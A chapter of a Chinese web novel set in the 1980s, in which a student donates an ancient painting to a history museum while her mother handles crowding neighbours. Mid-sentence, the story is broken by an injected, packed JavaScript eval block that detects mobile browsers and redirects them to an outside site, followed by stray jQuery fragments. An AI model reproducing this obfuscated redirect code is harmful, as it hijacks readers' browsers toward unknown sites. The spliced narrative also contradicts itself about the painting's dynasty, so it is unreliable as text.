30. 第 30 章
作品:《卷王被迫躺平[八零]》 方记者赶紧点头:“明白明白,等您回来再拍!”
宋正先推门出去,脚步声匆匆消失在楼道里。
屋里再次陷入安静。
屋里的人还没从震惊里缓过来,围着桌子,看着那幅画卷,眼神里满是敬畏,谁都不敢伸手碰一下。
方记者挤到时墨身边,语气激动道:“时墨同学,你……你真的打算把这幅国宝也捐赠给国家吗?”
时墨笑得坦然:“嗯。和那套医书一样,这是老祖宗留下的东西,放在博物馆里,让专家研究,让老百姓能看到,才能发挥它的价值。放在我手里,除了藏着,什么用都没有,反而糟蹋了宝贝。”
吴校长在旁边听得满脸红光,不停跟身边的周所长念叨:“你看看!你看看!这就是我们学校的学生!才十八岁!这份觉悟!这份胸襟!”
这话一出,屋里几个人都笑了,气氛松快了些。
等众人的惊叹声稍落,李秀兰伸手拉了拉时墨的胳膊,把人带到卧室门口的僻静处,声音压得低,严肃道:“墨墨,你跟妈交个底,这画真是你六百块收的?刚才宋老说的,都是真的?”
“是真的,妈。”时墨点头。
李秀兰盯着闺女看了两秒,忽然抬手拍了拍时墨的肩膀,眼里亮得惊人,全是压不住的骄傲:“行,我闺女有眼光,有胸襟。你想捐,妈百分百支持你,咱们家没一个拖你后腿的。六百块换一件国宝归了国家,值当!”
孙老坐在画旁边,像一尊门神,眼睛一刻不离那幅画。老陈和唐老师一左一右,三人呈三角之势,把那张饭桌护得严严实实。
周副所长凑到时墨跟前,压低声音道:“时墨同学,你这一捐,可是了不得的大事。明天报纸一登,全国都知道你了。”
时墨谦虚道:“周所长过奖了,我只是做了该做的事。”
陈老也走过来,握着她的手,眼眶泛红:“小同志,我今天算是开了眼了。医书、古画,你这一出手,比我们这些老头子折腾一辈子都强。”
“陈老您言重了,可不能这么说。”时墨连忙摆手,“我哪比得上您们为了国家奉献终身的辛苦。”
小李在旁边急得团团转,相机举了又放,放了又举,嘴里念叨着:“太可惜了,太可惜了,这么大的新闻,只能干等……”
“急什么。”方记者倒是稳得住,“等宋老回来,正式接收的时候,那才是大场面,你刚才拍的可不能先流出去。”
“放心,这事儿咱不能干。”
正说着,门外传来嘈杂声。
时墨从窗户望出去,只见楼下已经围了一圈人,都是下班回来的家属院邻居。有人踮着脚往楼上张望,有人交头接耳议论纷纷,还有人扯着嗓子喊:“老时家出啥事了?来了这么多车!”
“坏了。”李秀兰一拍大腿,扫了眼窗外,“这点下班了,院里这些人都陆续回来了,他们眼睛尖着呢。”
果然,没一会儿,敲门声就响了起来。
“秀兰在家吗?我家老张说看见你家来了好些人,楼下这又停了好些车,出啥事了?”
时墨刚要动,李秀兰先给她递了个眼色,嘴型无声说了句“你顾着画,这边我来”,转身就迎了上去,拉开门的同时脸上已经带了熟络的笑。
门一开,邻居王大妈第一个挤进来,后面跟着刘婶、赵大爷、小媳妇大姑娘,呼啦啦涌进来四五个,把本来就挤的客厅塞得水泄不通。
“哎哟我的天,这么多人!”王大妈一眼看见饭桌上的画,还有围在旁边的三个老头,“这是干啥呢?开啥会呢?”
“王姐,刘婶,赵大爷,快进来坐!”李秀兰侧身让众人进来,没等大家追问,先大大方方把话撂了出来,分寸拿捏得刚刚好,“没啥大事,就是我家墨墨之前收了幅老字画,今天国家博物馆的专家过来鉴定,说是个有年头的老物件,孩子打算捐给国家,专家们过来办手续。”
刘婶眼尖,指着方记者手里的相机:“那这照相的是干啥的?”
“这两位是报社的记者同志,过来记录一下这事,回头还要登报呢!”李秀兰笑着接话,顺势给方记者递了个眼神,“同志,要不您给他们也拍一张?都是老街坊了。”
方记者很配合地举起相机,对着王大妈“咔嚓”一下:“大妈您笑得真好看,我再给您拍一张!”
王大妈立刻被转移了注意力,连忙整理衣襟:“哎哟哎哟,我这头发乱不乱?小伙子,要不我回去换套衣服,你再给我来一张。”
“可以可以。”
李秀兰在旁边笑着搭腔:“王姐快理理你那刘海,这可是难得上报纸的机会,拍出来漂漂亮亮的,回头让你老家的亲戚都看看,多有面儿!”
屋里气氛顿时活络起来。
又有人敲门,这回是楼下的李大爷。
“爱国呢?还没下班?”李大爷探头探脑,“我听说来了一排小轿车,还以为你家出啥大事了。”
“没事没事,李大爷,就是几个文博系统的同志过来办公事。”李秀兰笑着应下,“爱国今天厂里加班,晚点回来。”
李大爷看着屋里那群明显不是普通人的面孔——宋老那身中山装,陈老那副老花镜,孙老那股子派头,还有周副所长的干部相——眼神狐疑,“你这专家都挺有派头啊。”
方记者又开始拍照,这回对准的是李大爷:“大爷您站好,我给您拍一张!”
李大爷立刻挺直腰板,脸上堆满笑。
就这样,一波又一波邻居涌进来,李秀兰始终笑脸相迎,三言两语就把事情说清楚,既不藏着掖着惹人猜疑,也不说太多细节惹麻烦,轻轻松松就把场面稳住了。
可人越来越多,眼看楼道里都站满了人,李秀兰怕人多出事,便站在门口,脸上依旧带着笑,说话带着纺织厂车间班长那股子利落劲儿,不软不硬却有分量:“各位街坊邻居,谢谢大家这么关心!不过屋里地方实在太小,专家们还在守着老物件忙正事,怕挤着碰着了不好交代。大家先在楼道里稍等会儿,等正事办完了,我再挨个儿跟大家细说,行不行?麻烦大家多体谅了!”
她在家属院住了人缘好,说话又有分寸,众人一听这话,果然都不再往屋里挤,乖乖在楼道里等着,议论声也小了不少。
“听说老时家闺女得了宝贝?”
“不是得了,是买的,六百块!”
“六百块买个破画?疯了吧?”
“破画?你没看见那三个老头跟供祖宗似的供着那画吗?那能是破画?秀兰多精明的人,能让她闺女吃亏?”
议论声此起彼伏,楼道里嗡嗡嗡一片。
就在这时,楼下传来汽车喇叭声。
时墨从窗户望出去,只见两辆绿色吉普车停在楼下,车门打开,下来五六个人,有穿制服的,有穿中山装的,还有两个捧着木箱的年轻人。
打头的正是宋正先。
“来了来了!”屋里一阵骚动。
孙老腾地站起来,对时墨道:“小墨,准备交接了。”
时墨点点头,深吸一口气,走到饭桌旁。
楼道里的人群自动让开一条路。宋正先领着人上来,身后那几个穿制服的步伐沉稳,一看就是干这行的。
“小墨。”宋正先走到她面前,神情郑重,“这位是历史博物馆的刘副馆长,这位是国家文物局的刘处长。我们连夜赶过来,就是为这幅画。”
刘副馆长上前一步,握住时墨的手,目光里满是感慨:“时墨同志,我代表历史博物馆,向你表示最诚挚的感谢。这幅画我们找了几十年,今天终于……终于……”
他说不下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197434|196120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去了,眼眶泛红。
刘处长也握着她的手,声音发紧:“小同志,你放心,这幅画我们会用最专业的方式保管,绝对不会让它再有任何闪失。”
时墨点点头,侧身让开,露出饭桌上那幅画。
“那就交给您们了。”
刘副馆长走到画前,俯身凝视,久久没有直起腰。那两个年轻人打开木箱,取出白手套、无酸纸、专用卷轴盒,动作专业而轻柔。
屋里静得能听见呼吸声。
方记者终于等到了这一刻,快门声“咔嚓咔嚓”响成一片。小李举着笔记本,笔尖飞快地记录。
邻居们挤在门口、趴在窗户上,眼睛瞪得溜圆,看着那幅旧画被小心翼翼地卷起,放进那个精致的木盒里。
“我的天……”王大妈喃喃道,“这到底是啥宝贝啊?”
刘副馆长直起身,转向门口那些围观的人群,声音洪亮:“各位街坊邻居,时墨同志,意外发现了明代国宝《繁秋山野图》,并愿意无偿捐赠给国家。时墨同志的高尚品德,值得我们所有人学习!”
楼道里静了一秒,随即爆发出雷鸣般的掌声。
王大妈第一个冲到时墨跟前,拉着她的手,激动得语无伦次:“墨墨啊,你、你可太了不起了!咱家属院出了个大英雄!”
刘婶也挤过来:“我就说这闺女从小就不一样!你看看,你看看,这叫什么来着?对,慧眼识珠!”
赵大爷在旁边插嘴:“你那会儿还说她‘天天看书看傻了’呢!”
“我什么时候说过?你净瞎说!”
哄笑声中,时墨被邻居们围在中间,脸上始终带着浅浅的笑。
李秀兰站在人群外围,看着被众人围着的闺女,嘴角的笑就没下去过,眼眶微微发热,却硬是没让眼泪掉下来——她闺女出息了,她该高兴,该撑住场面。
方记者举着相机,对准这一幕,“咔嚓”拍下。
她知道,明天的报纸头版,有着落了。
刘副馆长和刘处长办完交接手续,将一张盖着公章的收据郑重交到时墨手中。收据上写着:今收到时墨同志无偿捐赠唐周《繁秋山野图》真迹一卷。
“时墨同志,明天上午十点,我们在历史博物馆举行正式捐赠仪式,届时会有更多媒体到场。”刘副馆长说,“今天太晚了,这画我们就先带回去入库。你放心,一路都会有专人护送。”
时墨点头:“好,明天我一定准时到。”
送走刘副馆长一行人,已经是晚上七点多。
方记者和小李直接被邻居们围住了,大家七嘴八舌地跟记者说时墨的好话,从她小时候懂事不惹事,说到她学习好、孝顺父母,恨不得把时墨从小到大的好事都跟记者说一遍,素材直接堆成了山。
“我们刚才的采访有没有落下的,我们可以补!”
“明天报纸真的会登吗?登第几版?”
“对对,把我拍好看点。”
时墨站在人群外围,看着这热闹的一幕,嘴角微微扬起。
李秀兰走过来,手里端着一杯温水递给女儿,心疼道:“忙了一下午,快喝点水润润嗓子。”
见时墨接过杯子喝了一口,她靠在橱柜上,看着闺女,忍不住笑着戳了戳她的胳膊:“行啊你这丫头,藏得够深的,这么大的事,愣是一点口风没跟妈露。”
说着又收了笑,语气里全是骄傲:“不过妈真为你高兴,我闺女,有出息,有格局,没给咱们家丢脸。”说着叹了口气,“可惜你爸和你哥今天厂里加班没赶上这大场面。”
“等他们晚上回来,我可得原原本本跟他们好好说说,让他们也惊一惊。明天的捐赠仪式,咱们一家四口都去,我等会儿就把你爸过年才穿的那身中山装找出来,咱们穿得整整齐齐的,给我闺女撑场面去!”

